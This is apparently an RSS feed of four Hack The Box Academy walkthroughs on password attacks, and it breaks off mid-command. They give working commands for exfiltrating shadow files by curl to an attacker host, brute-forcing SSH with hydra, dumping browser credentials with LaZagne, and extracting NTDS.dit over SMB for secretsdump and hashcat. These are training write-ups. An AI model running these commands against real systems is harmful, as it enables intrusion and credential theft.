<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by c0c0c0 on Medium]]></title>
        <description><![CDATA[Stories by c0c0c0 on Medium]]></description>
        <link>https://medium.com/@c0c0c0_hax?source=rss-026fdd3e1645------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*IUhCBmlUrk81ZKe6408u4w.jpeg</url>
            <title>Stories by c0c0c0 on Medium</title>
            <link>https://medium.com/@c0c0c0_hax?source=rss-026fdd3e1645------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 06:02:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@c0c0c0_hax/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB Academy — Password Attacks — Passwd, Shadow & Opassword]]></title>
            <link>https://medium.com/@c0c0c0_hax/htb-academy-password-attacks-passwd-shadow-opassword-83b3ec3248a9?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/83b3ec3248a9</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Fri, 13 Dec 2024 09:09:15 GMT</pubDate>
            <atom:updated>2024-12-13T09:09:15.297Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*IUhCBmlUrk81ZKe6408u4w.jpeg" /></figure><h3>HTB Academy — Password Attacks — Passwd, Shadow &amp; Opassword</h3><p>HTB Academy — Password Attacks — Passwd, Shadow &amp; Opasswd</p><p>HTB foreword on Passwd, Shadow &amp; Opasswd:<br>Linux-based distributions can use many different authentication mechanisms. One of the most commonly used and standard mechanisms is Pluggable Authentication Modules (PAM). The modules used for this are called pam_unix.so or pam_unix2.so and are located in /usr/lib/x86_x64-linux-gnu/security/ in Debian based distributions. These modules manage user information, authentication, sessions, current passwords, and old passwords. For example, if we want to change the password of our account on the Linux system with passwd, PAM is called, which takes the appropriate precautions and stores and handles the information accordingly.<br>The pam_unix.so standard module for management uses standardized API calls from the system libraries and files to update the account information. The standard files that are read, managed, and updated are /etc/passwd and /etc/shadow. PAM also has many other service modules, such as LDAP, mount, or Kerberos.</p><p>Task:<br>Examine the target using the credentials from the user Will and find out the password of the “root” user. Then, submit the password as the answer.</p><p>Methodology:<br>1: Gain access to target with previously acquired credentials.<br>2: Access “/etc/passwd” and “/etc/shadow” to find password hash for the root user.<br>3: Crack acquired hash to gain clear text password for the root user.</p><p>Walkthrough:<br>Step 1 — Gain access to target:<br>After a quick NMAP scan of the server to check entry points, we find that we are able to SSH into the server with:</p><pre>ssh will@10.129.235.224</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*5PrLALTKKqvXUfHkZ9iu_g.png" /></figure><p>Gaining access to the target.</p><p>Step 2 — Access files and get hashes<br>Once we have access to the target we can bring up the desired files (“/etc/passwd” “/etc/shadow”) by using:</p><pre>sudo cat /etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*G6pguYvgooYQN_1psFlzow.png" /></figure><p>From this return we can see an “x” in the password column on the “/etc/passwd” form for the “root” user.<br>This tells us that the hash is stored in the “/etc/shadow” file.<br>To access this file we can use:</p><pre>cat /etc/shadow</pre><p>However upon attempting to access this file we get denied, using “sudo” doesn’t work either as “will” is not in the sudoers file.<br>This leaves us one other file to check, Opasswd.</p><pre>cat /etc/Opasswd</pre><p>This too is denied!<br>Where to go from here?<br>Going back to the user “will’s” home folder and look around. Using:<br>{ls -la}<br>Shows us that there is a hidden “.backup” folder.<br>Navigating to it we find two files:<br>*passwd.bak<br>*shadow.bak<br>These two files are backups of the files we are looking for!<br>We need to get these back to our attacking machine in order to crack the hashes.<br>For this I started a netcat instance on port 4444 with:</p><pre>nc -lvnp 4444</pre><p>Then used the following commands to transfer the files from the target machine to the attacking machine:</p><pre>curl -X POST http://10.10.11.14/ -F &#39;files=passwd.bak&#39; - insecure</pre><pre>curl -X POST http://10.10.11.14/ -F &#39;files=shadow.bak&#39; - insecure</pre><p>Step 3 — Cracking the Hash <br>Now that we have the files on our attacking machine we have to sub-steps to complete:<br>*Prepare the hashes in the files for cracking <br>*Crack the hash<br>To prepare our hashes to be cracked we will use this command:</p><pre>unshadow passwd.bak shadow.bak &gt; unshadowed.hashes</pre><p>(Unshadow is part of the john program, if it doesn&#39;t work at first, launch the john program and then try again.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*Na4W4QLcqmDMThpHALamgA.png" /></figure><p>Now that we have a file which holds the hash to be cracked (in its proper form), we can actually crack the hash with:</p><pre>hashcat -m 1800 -a 0 unshadowed.hashes /usr/share/wordlists/rockyou.txt -o unshadowed.cracked</pre><p>However doing it this way has an estimated run time of 18 hours!!!<br>I do not have 18 hours to wait!<br>After googling about a bit to find a more elegant solution, I came across this write up By “Abdelaaziz Benafghoul” (give him a follow):<br>(<a href="https://medium.com/@mrbnf/password-attacks-passwd-shadow-opasswd-5963e1cc4777">https://medium.com/@mrbnf/password-attacks-passwd-shadow-opasswd-5963e1cc4777</a>)<br>In his solution he tells us that we can create a mutated password list (via the same method as used earlier) and then use that to crack the hashes (as opposed to rockyou.txt).<br>So let’s give that a try.<br>The first step he gives us is:</p><pre>hashcat - force password.list -r custom.rule - stdout | sort -u &gt; mut_password2.list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*R_814KLOmXhsdZnXHVVuQw.png" /></figure><p>Then:</p><pre>hashcat -m 1800 -a 0 unshadowed.hashes /home/user/Downloads/mut_password2.list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*clf5YP7Am1nJXOTphhX6iA.png" /></figure><p>Eventually getting us the password and allowing us to complete this section!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ub5cdOMChj26KuCk7eWJ-A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83b3ec3248a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Academy — Password Attacks — Linux Credential Hunting]]></title>
            <link>https://medium.com/@c0c0c0_hax/htb-academy-password-attacks-linux-credential-hunting-b83016672abf?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/b83016672abf</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Wed, 11 Dec 2024 10:06:35 GMT</pubDate>
            <atom:updated>2024-12-11T10:06:35.400Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*IUhCBmlUrk81ZKe6408u4w.jpeg" /></figure><h3>HTB Academy — Password Attacks — Linux Credential Hunting</h3><p>HTB Academy — Password Attacks — Linux Credential Hunting</p><p>HTB Foreword on Linux Credential Hunting:<br>Hunting for credentials is one of the first steps once we have access to the system. These low-hanging fruits can give us elevated privileges within seconds or minutes. Among other things, this is part of the local privilege escalation process that we will cover here. However, it is important to note here that we are far from covering all possible situations and therefore focus on the different approaches.<br>We can imagine that we have successfully gained access to a system via a vulnerable web application and have therefore obtained a reverse shell, for example. Therefore, to escalate our privileges most efficiently, we can search for passwords or even whole credentials that we can use to log in to our target. There are several sources that can provide us with credentials that we put in four categories. These include, but are not limited to:</p><pre>Files History Memory Key-Rings<br>Configs Logs Cache Browser stored credentials<br>Databases Command-line History In-memory Processing <br>Notes <br>Scripts <br>Source codes <br>Cronjobs <br>SSH Keys</pre><p>Enumerating all these categories will allow us to increase the probability of successfully finding out with some ease credentials of existing users on the system. There are countless different situations in which we will always see different results. Therefore, we should adapt our approach to the circumstances of the environment and keep the big picture in mind. Above all, it is crucial to keep in mind how the system works, its focus, what purpose it exists for, and what role it plays in the business logic and the overall network. For example, suppose it is an isolated database server. In that case, we will not necessarily find normal users there since it is a sensitive interface in the management of data to which only a few people are granted access.</p><p>Task:<br>Examine the target and find out the password of the user Will. Then, submit the password as the answer.</p><p>Method:<br>Using the commands given by the HTB section and then analysing the results.</p><p>Walkthrough:<br>Firstly we shall to gain access to the target system in order to enumerate it for credentials. <br>The mode of entry is not immediately apparent on this task and we have no creds available to use to login. <br>Hmmm…<br>At this point it’s worth checking the hint:<br>“Sometimes, we will not have any initial credentials available, and as the last step, we will need to bruteforce the credentials to available services to get access. From other hosts on the network, our colleagues were able to identify the user “Kira”, who in most cases had SSH access to other systems with the password “LoveYou1”. We have already provided a prepared list of passwords in the “Resources” section for simplicity’s purpose.”<br>This gives us a clearer picture of how we are going to start this task.<br>The first test would be to use the “kira” users creds to SSH into the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*y46JMIsoEPgxGxxj4rhLMQ.png" /></figure><p>However as we can see it’s not going to be that easy.<br>The next thing that the hint mentioned was brute-forcing the password using one of the password lists provided. <br>To complete this section we can break the tasks down further into three sub tasks:<br>1: Create the list to be mutated.<br>2: Mutate the wordlist with the given ruleset<br>3: Use newly created mutated password list to bruteforce the SSH service for the user “kira”.</p><p>Step 1 — Create the wordlist to be mutated:</p><pre>vim kira.list</pre><p>Add the single entry of “LoveYou1” to a new file called “kira.list”</p><p>Step 2 — Mutate the wordlist with the ruleset:</p><pre>hashcat - force kira.list -r custom.rule - stdout | sort -u &gt; kira_pass.list</pre><p>Giving us our mutated wordlist</p><p>Step 3 — Use hydra to bruteforce the SSH service:</p><pre>hydra -l kira -P kira_pass.list ssh://10.129.202.64 -t 64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m7C__iBqisZZluMm8xyaXw.png" /></figure><p>Now we have the password we can login to the network via SSH with:</p><pre>ssh kira@10.129.202.64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*D1AlapuoJkA0JwBjhNO9gA.png" /></figure><p>Now we are into the system we need to start enumerating it for credentials, specifically for the user “will”.<br>If your ever unsure in a HTB Academy section, simply input the commands they give you until you get some result that gets you closer to a solution. <br>This section spikes in difficulty quite dramatically, at least in relation to the info your given, so don’t feel down if the solution isn&#39;t obvious immediately. <br>Eventually after inputting all the inputs and analysing the returns, we find that the bash history is where we need to be looking.<br>The command that HTB gives you for checking the bash history doesn&#39;t quite give the return we are looking for, so my suggestion would be to list the “.bash_history” manually with:</p><pre>ls -la (from kiras folder)</pre><p>and then:</p><pre>cat .bash_history</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*fshCWtCgG3WR1-iBOcLiVg.png" /></figure><p>The bash history gives us a list of commands that have previously been used on the command line, ergo this can be a vital source of information regarding how the user is interacting with the machine we are targeting.<br>In this instance we can see that a program called “firefox_decrypt.py” has been downloaded, used and then deleted by a user. <br>Trying to copy their method exactly would be a good idea, however in our example we are unable to use the git clone command in order to download the firefox_decrypt.py program onto the target machine. <br>To get around this problem I downloaded the file onto my attacking machine via the git clone command.<br>Then set up a http server on my attacking machine in order to host the file:</p><pre>python3 -m http.server 4444</pre><p>From there i used the following command on the target machine to download the entire folder from my attacking machine:</p><pre>wget -r - no-parent http://10.10.15.113:4444/firefox_decrypt/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6jlspJ5JIoJLrlMkef37sg.png" /></figure><p>Once its downloaded onto the target machine, we next need to give the file permission to run with:</p><pre>chmod +x firefox_decrypt.py</pre><p>This now allows us to run the program with:</p><pre>python3.9 firefox_decrypt.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Jb_xjvXKPvt6ywhYn4MFQ.png" /></figure><p>Giving us the password for the user “will” and completing another section!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b83016672abf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Academy — Password Attacks — Windows Credential Hunting]]></title>
            <link>https://medium.com/@c0c0c0_hax/htb-academy-password-attacks-windows-credential-hunting-ef1add4d446d?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef1add4d446d</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Fri, 06 Dec 2024 12:06:29 GMT</pubDate>
            <atom:updated>2024-12-06T12:06:29.248Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*IUhCBmlUrk81ZKe6408u4w.jpeg" /></figure><h3>HTB Academy — Password Attacks — Windows Credential Hunting</h3><p>HTB Academy — Password Attacks — Credential Hunting on Windows</p><p>HTB Foreword on Credential Hunting in Windows:<br>Once we have access to a target Windows machine through the GUI or CLI, we can significantly benefit from incorporating credential hunting into our approach. Credential Hunting is the process of performing detailed searches across the file system and through various applications to discover credentials. To understand this concept, let’s place ourselves in a scenario. We have gained access to an IT admin’s Windows 10 workstation through RDP.</p><p>Tasks:<br>1: What password does Bob use to connect to the Switches via SSH? (Format: Case-Sensitive) <br>2: What is the GitLab access code Bob uses? (Format: Case-Sensitive) <br>3: What credentials does Bob use with WinSCP to connect to the file server? (Format: username:password, Case-Sensitive) <br>4: What is the default password of every newly created Inlanefreight Domain user account? (Format: Case-Sensitive)<br>5: What are the credentials to access the Edge-Router? (Format: username:password, Case-Sensitive)</p><p>Methodology:<br>HTB gives us two main methods for gaining these credentials:<br>1: Search Centric<br>Many of the tools available to us in Windows have search functionality. In this day and age, there are search-centric features built into most applications and operating systems, so we can use this to our advantage on an engagement. A user may have documented their passwords somewhere on the system. There may even be default credentials that could be found in various files. It would be wise to base our search for credentials on what we know about how the target system is being used. In this case, we know we have access to an IT admin’s workstation.<br>What might an IT admin be doing on a day-to-day basis &amp; which of those tasks may require credentials?<br>We can use this question &amp; consideration to refine our search to reduce the need for random guessing as much as possible.<br>This method may be more time consuming, however it benefits from being able to be used in a “living off the land” style attack, whereby we use what is available to us natively on the target box in order to reach our desired results.<br>We simply use what is available to us.</p><p>2: Search Tools<br>With access to the GUI, it is worth attempting to use Windows Search to find files on the target using some of the keywords mentioned above.<br>By default, it will search various OS settings and the file system for files &amp; applications containing the key term entered in the search bar.<br>We can also take advantage of third-party tools like Lazagne to quickly discover credentials that web browsers or other installed applications may insecurely store. It would be beneficial to keep a standalone copy of Lazagne on our attack host so we can quickly transfer it over to the target. Lazagne.exe will do just fine for us in this scenario. We can use our RDP client to copy the file over to the target from our attack host. If we are using xfreerdp all we must do is copy and paste into the RDP session we have established.<br>Once Lazagne.exe is on the target, we can open command prompt or PowerShell, navigate to the directory the file was uploaded to, and execute the following command:</p><pre>C:\Users\bob\Desktop&gt; start lazagne.exe all</pre><p>As we can see from the above we have a step to complete before engaging with the tasks, namely to upload “lazagne.exe” to the target machine from our attacking machine.<br>To do so I will first download the program from “<a href="https://github.com/AlessandroZ/LaZagne">https://github.com/AlessandroZ/LaZagne</a>&quot;.<br>Once downloaded “we can use our RDP client to copy the file over to the target from our attack host. If we are using xfreerdp all we must do is copy and paste into the RDP session we have established.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vDLNOUwf__u45P3phq3MKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5wpxiT8yqlpvt6vq9lj-oQ.png" /></figure><p>Now “lazagne.exe” is ready to use on the target machine.</p><p>Task 1 — What password does Bob use to connect to the Switches via SSH?:<br>The first step in all these tasks is to connect to the target machine via RDP with the credentials “Bob:HTB_@cademy_stdnt!”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KRclPJRw3Wlv5aaj0C7b3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*mfl4zHsWXewVOk4mu_sZ6Q.png" /></figure><p>Once we are in to the target machine we can start snooping around for the desired information. <br>The first thing that jumps out at me is a folder titled “workstuff”, since this is the account of a sys admin, we can be confident that this folder contains information of interest.<br>Upon opening it we find that my hunch was correct! <br>We have the answer to task 1!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*txSVmlY2DvT-weEgtJEgQQ.png" /></figure><p>Task 2 — What is the GitLab access code that Bob uses?<br>Nice simple one, in the “workstuff” folder navigate to “gitlabaccescodejustincase” for the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*GH_iNqn5iwI0Ey5MFT78OA.png" /></figure><p>Task 3 — What credentials does Bob use with WinSCP to connect to the file server?<br>This was only task that I felt I needed the “lazagne.exe” tool for.<br>When we opened the WINSCP.exe program on the target machine we can see that the username for the login is “ubuntu”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*gEUi3R12iX3tmF8ASniv-w.png" /></figure><p>However I couldn&#39;t find any files that contained the password, so I used the “lazagne.exe” by double clicking it in the GUI session on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NG5ckarBW3rGD8rANzI5tw.png" /></figure><p>We have the password!</p><p>Task 4 — What are the credentials to access the Edge-Router?<br>Another super simple one, just navigate to the folder “Navigation &amp; Scripts”, open the “BulkaddADusers” file in notepad and read the given script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*PiSgU8WkMhxZa8LiRrj8sw.png" /></figure><p>Task 5 — What are the credentials to access the Edge-Router?<br>To get the answer for this task I navigated to the “VisualStudioCode” app, opened it and found the creds open in the program. <br>We can also find the answer to this task by opening the “AnsibleScripts” folder in “Automation&amp;Scripts” and selecting the file “EdgeRouterConfigs” file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*tOJhhhZE1c8YXbJTSmd-ZQ.png" /></figure><p>Another section completed!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef1add4d446d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Academy — Password Attacks — Attacking Active Directory & NTDS.dit]]></title>
            <link>https://medium.com/@c0c0c0_hax/htb-academy-password-attacks-attacking-active-directory-ntds-dit-2a5b2269657c?source=rss-026fdd3e1645------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a5b2269657c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[c0c0c0]]></dc:creator>
            <pubDate>Thu, 05 Dec 2024 16:37:29 GMT</pubDate>
            <atom:updated>2024-12-05T16:37:29.303Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*IUhCBmlUrk81ZKe6408u4w.jpeg" /></figure><h3>HTB Academy — Password Attacks — Attacking Active Directory &amp; NTDS.dit</h3><p>HTB Academy — Password Attacks — Attacking Active Directory &amp; NTDS.dit</p><p>HTB foreword on Attacking Active Directory &amp; NTDS.dit:<br>Active Directory (AD) is a common and critical directory service in modern enterprise networks. AD is something we will repeatedly encounter, so we need to be familiar with various methods we can use to attack &amp; defend these AD environments. It is safe to conclude that if the organization uses Windows, then AD is used to manage those Windows systems. Attacking AD is such an extensive &amp; significant topic that we have multiple modules covering AD.<br>In this section, we will focus primarily on how we can extract credentials through the use of a dictionary attack against AD accounts and dumping hashes from the NTDS.dit file.<br>Like many of the attacks we have covered thus far, our target must be reachable over the network. This means it is highly likely that we will need to have a foothold established on the internal network to which the target is connected. That said, there are situations where an organization may be using port forwarding to forward the remote desktop protocol (3389) or other protocols used for remote access on their edge router to a system on their internal network. Please know that most methods covered in this module simulate the steps after an initial compromise, and a foothold is established on an internal network. Before we get hands-on with the attack methods, let’s consider the authentication process once a Windows system has been joined to the domain. This approach will help us better understand the significance of Active Directory and the password attacks it can be susceptible to.</p><p>Tasks:<br>1: What is the name of the file stored on a domain controller that contains the password hashes of all domain accounts? (Format: ****.***) <br>2: Submit the NT hash associated with the Administrator user from the example output in the section reading. <br>3: On an engagement you have gone on several social media sites and found the Inlanefreight employee names: John Marston IT Director, Carol Johnson Financial Controller and Jennifer Stapleton Logistics Manager. You decide to use these names to conduct your password attacks against the target domain controller. Submit John Marston’s credentials as the answer. (Format: username:password, Case-Sensitive) <br>4: Capture the NTDS.dit file and dump the hashes. Use the techniques taught in this section to crack Jennifer Stapleton’s password. Submit her clear-text password as the answer. (Format: Case-Sensitive)</p><p>Task 1: <br>The first task is a question that asks “What is the name of the file stored on a domain controller that contains the password hashes of all domain accounts?”.<br>We can guess this answer from the title of the section, however the best method for answering this question is by reading through the HTB section thoroughly.<br>Nice and easy, the answer is:</p><pre>N***.***</pre><p>Task 2:<br>Task two says “Submit the NT hash associated with the Administrator user from the example output in the section reading.”.<br>Referring back to the example output from the section we find that the method used for target entry is via the “pass the hash” method, meaning that we can simply scroll down to the last command as passing the hash to the target machine is the last step in exploitation. <br>We find the answer in the “evil-winmrm” command:</p><pre>6*******************************</pre><p>Task 3: <br>For task 3 we are required to use a list of names gathered from social media OSINT in order to perform a dictionary password attack against the domain controller. The goals being to submit the user “John Marston’s” credentials to HTB. <br>To complete this task I will need to complete two steps, namely creating a list of credentials and then applying them to the “netexec” program to perform a dictionary attack and gain the desired credentials. <br>I’ll therefore split up task three into two steps.</p><p>Step 1 — Creating the dictionary list<br>The first thing to do when trying to create an effective list for dictionary attacks is basic OSINT. <br>In order to reduce the amount of possible word/letter combinations, we can use OSINT to establish the format of the naming convention used within a company e.g. jane.doe@, j.doe@, j.d@, etc. <br>One effective technique HTB gives us for achieving this aim is to simply google the company and visit their website. This can provide a treasure trove of information, especially in regards to how the email addresses are formatted. <br>When applying the above to the first step of task 3, we find valuable information regarding the creation of our dictionary attack list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*754vY0lWnVqaMIU3dGF6dg.png" /></figure><p>After navigating to the contact page on the website, we can find how the company formats the username in their email addresses. <br>They use:</p><pre>&lt;firstname&gt;.&lt;lastname&gt;@inlanefreight.com</pre><p>Knowing this helps us reduce the total possible number of combinations massively.</p><p>So the names that we have from HTB are:<br>-John Marston<br>-Carol Johnson<br>-Jennifer Stapleton</p><p>We know the naming convention is all lower case, with the first name and last name separated with a full stop. <br>Meaning our list becomes:</p><pre>john.marston<br>carol.johnson<br>jennifer.stapleton</pre><p>Armed with this list we can now apply it to netexec.</p><pre>netexec smb 10.129.96.70 -u names.list -p /usr/share/wordlists/fasttrack.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYFAiMJDbEYY96P5vT5BoA.png" /></figure><p>However this didn’t work, I think the OSINT on the inlanefreight.com website may have been a red-herring!<br>Checking the hint for this task confirms my suspicion!<br>The next logical step would be to use “Username-Anarchy” to create a list of mutations based on the three names we have from the task. That would be unless the hint gave us a vital clue, which it did. <br>Specifically “Also, firstinitiallastname is a popular username convention….” which basically saves us the need for creating a large word list, which would take along time to compute. <br>So the format for our updated name list will be “firstinitiallastname”, the old list becoming: <br>-jmarston<br>-cjohnson<br>-jstapleton</p><p>Step 2 — Cracking the credentials<br>Now we have updated the name list we are ready to try the netexec command again.<br>However upon using it, the program stops on a result for “cjohnson”</p><p>Nice, but not quite what we are looking for, we specifically need the credentials for “John Marston” or “jmarston” (when formatted). <br>So I use the same command again but this time with a slight alteration:</p><pre>netexec smb 10.129.96.70 -u jmarston -p /usr/share/wordlists/fasttrack.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qdq2lBmzK4PHIJHxWv5NUg.png" /></figure><p>This time getting us the desired result and the answer to task 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*gsydh1qmC4UauawfU1uSag.png" /></figure><p>{jmarston:P********}</p><p>Task 4:<br>The last task of this section tells us to “Capture the NTDS.dit file and dump the hashes. Use the techniques taught in this section to crack Jennifer Stapleton’s password. Submit her clear-text password as the answer. (Format: Case-Sensitive)”<br>It also offers us two different ways to complete the task, so I will go through both in turn.<br>1: The first method involves gaining access to the target machine and creating a VSS (“Volume Shadow Copy”) and extracting the NTDS.dit file from that and then transferring it via SMB back to our attacking machine. Then cracking the associated hashes.<br>2: The second method offers us a simpler “netexec” command that can automate the above process.</p><p>Method 1:<br>Connecting and Checking Privilieges:<br>Firstly we need to connect to the target host with “evil-winrm”:</p><pre>evil-winrm -i 10.129.96.70 -u jmarston -p &#39;P@ssword!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l1P3mtMd8ZuMDXDNk05V3g.png" /></figure><p>From there we need to check the user privileges, this is because this method depends on having local admin privileges in order to make the VSS copy.<br>We do this with:</p><pre>net localgroup</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*slIUZ9FZhgRuO7XAg750BA.png" /></figure><p>Then:</p><pre>net user jmarston</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*IkIgqyyMoTkKu-IfA1uC3w.png" /></figure><p>We can see that our user “jmarston” has the required privileges for the method to work.</p><p>Creating VSS file and extracting NDST.dit:<br>Now that we know the attack can be used, let’s create the VSS file:</p><pre>vssadmin CREATE SHADOW /For=C:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*eS1j0s80BZjm0lQR70qI-w.png" /></figure><p>Create a directory called “NDST” in the “C:\” drive, this is to store the NDST.dit file after extracting it from the VSS file.</p><pre>{mkdir NDST} //(from the root C:\ location)</pre><p>With that done we can use the following command to copy the NDST.dit file to C:\NDST:</p><pre>C:\NTDS&gt; cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFx9VIqIulTIN531m9PlgA.png" /></figure><p>After checking the NDST folder we can see that we we’re successful in copying the file!</p><p>Transferring the file back to attacking box:<br>Once we have the file, we are ready to transfer it back to our attack box.<br>This is done by creating an SMB share on our attacking machine and then sending the file from the target machine to our attacking machine. <br>To create the SMB share we can use:</p><pre>sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/user/HTBacademy/passwordattacks/activedirectory</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4KJ2VB9AA3W-YjjeovOoEw.png" /></figure><p>With our SMB share up and running on our attacking machine, we then need to use the evil-winrm connection to the target machine to send the file back to us.<br>That’s done with:</p><pre>move NDST.dit \\10.10.14.188\CompData</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*yI0j996mfcPbnqO5Hm-6Xw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nLbUAr9H6Vqk2S3MGskeVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*jGbZcU2P89PFfR9GeoeLag.png" /></figure><p>We have successfully transferred the NDST.dit file back to our attacking machine!</p><p>Extracting Hashes from NDST.dit:<br>At this point I realised that the methodology provided by HTB had forgotten to add the part regarding how to get the NTLM hashes from the NDST.dit file.<br>It simply skips to the second method.<br>With that in mind I will research the methodology for extracting NLTM hashes from NDST.dit files myself. <br>From what I can gather, we also need the “SYSTEM file from the registry or volume shadow copy, since it contains the Boot Key that will be needed to decrypt the Ntds.dit file later”[1]<br>To do this I repeated the steps for acquiring the “NDST.dit” file and also added the method for gaining the SYSTEM file from the article on “Attacking SAM”.<br>After creating the NDST.dit file as before, I used the following command to copy the “SYSTEM” file:</p><pre>*Evil-WinRM* PS C:\windows\system32&gt; reg SAVE HKLM\SYSTEM c:\NTDS\SYS</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WEVaGyqlF0I_Fr80vmLA_A.png" /></figure><p>From there we can transfer it across in the same manner as the previous file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*_0qX74-PlFZChKOccFVv-Q.png" /></figure><p>Checking our attacking machine, we see it has successfully transferred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*Mv7Kt0okw6lOub-5JHQOWg.png" /></figure><p>Now we have both files needed to extract the hashes.<br>From here I used:</p><pre>./impacket-secretsdump -ntds /home/user/HTBacademy/passwordattacks/activedirectory/NTDS.dit -system /home/user/HTBacademy/passwordattacks/activedirectory/SYS LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R4xz086n8epnC-B09hWKJA.png" /></figure><p>Success!<br>From here all that is left to do is to crack the hash!</p><p>Cracking the Hashes:<br>Much like the previous sections in the “Password Attack” module, we will use hashcat in combination with the “rockyou.txt” wordlist to crack the hash:</p><pre>sudo hashcat -m 1000 92fd67fd2f49d0e83744aa82363f021b 